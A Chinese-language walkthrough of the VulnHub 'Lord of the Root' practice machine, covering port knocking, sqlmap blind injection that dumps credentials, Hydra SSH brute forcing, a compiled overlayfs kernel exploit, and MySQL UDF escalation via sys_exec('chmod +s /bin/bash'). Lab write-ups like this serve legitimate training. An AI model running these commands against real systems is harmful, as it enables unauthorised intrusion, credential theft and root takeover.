在网络安全领域,靶机渗透练习是提升实战能力的重要途径。VulnHub平台上的Lord of the Root靶机以其精巧的设计和适中的难度,成为许多安全爱好者磨练技能的理想选择。本文将带你从零开始,完整复现这个靶机的渗透过程,重点解析端口敲门、SQL盲注和提权等关键技术点。
渗透测试的第一步永远是信息收集。我们需要先确定靶机的IP地址和开放端口。使用Kali Linux自带的nmap工具进行扫描:
bash复制nmap -sS -T4 192.168.1.0/24
扫描结果显示靶机仅开放了22端口(SSH)。尝试连接SSH服务时,我们得到了一个关键提示:"knock friend to enter"和"Easy as 1,2,3"。这明显指向了端口敲门(Port Knocking)技术。
端口敲门是一种安全机制,通过按特定顺序"敲击"关闭的端口,才能打开真正的服务端口。在本例中,我们需要依次连接1、2、3端口:
bash复制for port in 1 2 3; do nc -zv 192.168.1.100 $port; done
执行后再次扫描,会发现1337端口已经开放。这个端口运行着一个Web服务,但表面上看只有一张图片。查看页面源代码,我们发现了一段Base64编码的字符串,经过两次解码后得到了一个隐藏路径:/978345210/index.php。
访问发现的登录页面后,常规的SQL注入尝试(如admin/admin或万能密码)都失败了。这时我们需要使用更高级的基于时间的盲注技术。sqlmap工具可以自动化这个过程:
bash复制sqlmap -u 'http://192.168.1.100:1337/978345210/index.php' --forms --batch --dbs
关键参数说明:
--forms:自动检测和处理页面中的表单--batch:使用默认选项,无需人工交互--dbs:枚举数据库扫描结果显示password字段存在基于时间的盲注漏洞。我们继续枚举数据库内容:
bash复制sqlmap -u 'http://192.168.1.100:1337/978345210/index.php' --forms -D Webapp -T Users --dump
成功获取了5组凭据,其中最有用的是smeagol/MyPreciousR00t。使用这些凭据通过Hydra爆破SSH服务:
bash复制hydra -l smeagol -P passwords.txt ssh://192.168.1.100
成功登录后,我们获得了smeagol用户的shell权限。
获得初始立足点后,我们需要提升到root权限。这个靶机提供了两种提权路径:
首先检查系统信息:
bash复制uname -a
cat /etc/issue
结果显示系统运行的是Linux 3.19.0内核,Ubuntu 14.04.1。这个版本存在著名的overlayfs提权漏洞(CVE-2015-1328)。我们可以使用SearchSploit查找可用exp:
bash复制searchsploit linux 3.19.0
找到合适的exp后,将其上传到靶机并编译执行:
bash复制gcc -o exploit exploit.c
chmod +x exploit
./exploit
执行成功后,我们就获得了root权限。
另一种提权方式是利用MySQL服务。首先确认MySQL的运行权限:
bash复制ps -aux | grep mysql
发现MySQL是以root身份运行的。通过之前发现的数据库凭据登录MySQL:
bash复制mysql -u root -p
检查secure_file_priv设置:
sql复制SHOW VARIABLES LIKE 'secure_file_priv';
如果值为空,说明可以执行文件操作。接着我们需要上传UDF库文件并创建自定义函数:
sql复制SELECT 0x7F454C... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so';
创建成功后,就可以通过MySQL执行系统命令:
sql复制SELECT sys_exec('chmod +s /bin/bash');
这种方法同样可以获得root权限。
在实际操作中,有几个关键点需要注意:
端口敲门的实现:不同系统可能使用不同的敲门工具,常见的有knockd。了解其配置文件格式很有帮助:
code复制[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 1,2,3
seq_timeout = 5
command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
SQL盲注优化:当网络延迟较高时,可以调整sqlmap的时间相关参数:
bash复制sqlmap --time-sec=2 --threads=5
提权路径选择:内核提权通常更直接,但可能引起系统崩溃;MySQL提权更隐蔽,但需要满足特定条件。
靶机渗透的价值不仅在于获取flag,更在于理解每个技术环节的原理和实现方式。Lord of the Root靶机巧妙地融合了多种常见漏洞,是练习综合渗透能力的绝佳材料。在实际操作中,记录每个步骤和遇到的错误,对于积累经验至关重要。